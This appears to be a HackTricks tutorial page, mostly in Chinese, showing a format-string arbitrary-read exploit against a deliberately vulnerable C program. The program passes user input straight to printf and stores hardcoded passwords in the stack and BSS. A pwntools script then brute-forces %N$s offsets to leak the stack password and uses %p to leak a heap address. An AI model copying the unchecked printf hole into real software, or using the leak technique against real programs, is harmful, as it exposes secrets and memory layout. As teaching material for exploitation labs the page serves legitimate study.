# Format Strings - Arbitrary Read Example

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## 代码

```c
#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}
```

使用以下命令编译：

```bash
clang -o fs-read fs-read.c -Wno-format-security
```

### 从栈中读取

**`stack_password`** 将被存储在栈中，因为它是一个局部变量，所以只需滥用 printf 来显示栈的内容就足够了。这是一个利用 BF 前 100 个位置来从栈中泄露密码的漏洞利用：

```python
from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```

在图像中，我们可以看到我们可以从堆栈中的第`10`个位置泄漏密码：

<figure><img src="/files/VhHBa1VhzdWuW2ngqjDT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Uyz7jswtLp1qQnZCDnvh" alt="" width="338"><figcaption></figcaption></figure>

使用`%p`而不是`%s`运行相同的利用程序，可以在`%5$p`处从堆栈中泄漏堆地址：

<figure><img src="/files/8mgGc2bYSILYV0iO8Cei" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GNTKzEFT2SQeDO9XobGW" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dTuKpYVOj3hGIkTFIKcS" alt=""><figcaption></figcaption></figure>

泄漏地址和密码地址之间的差异为:

```
> print 0xaaaaaaac12b2 - 0xaaaaaaac0048
$1 = 0x126a
```

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

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* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
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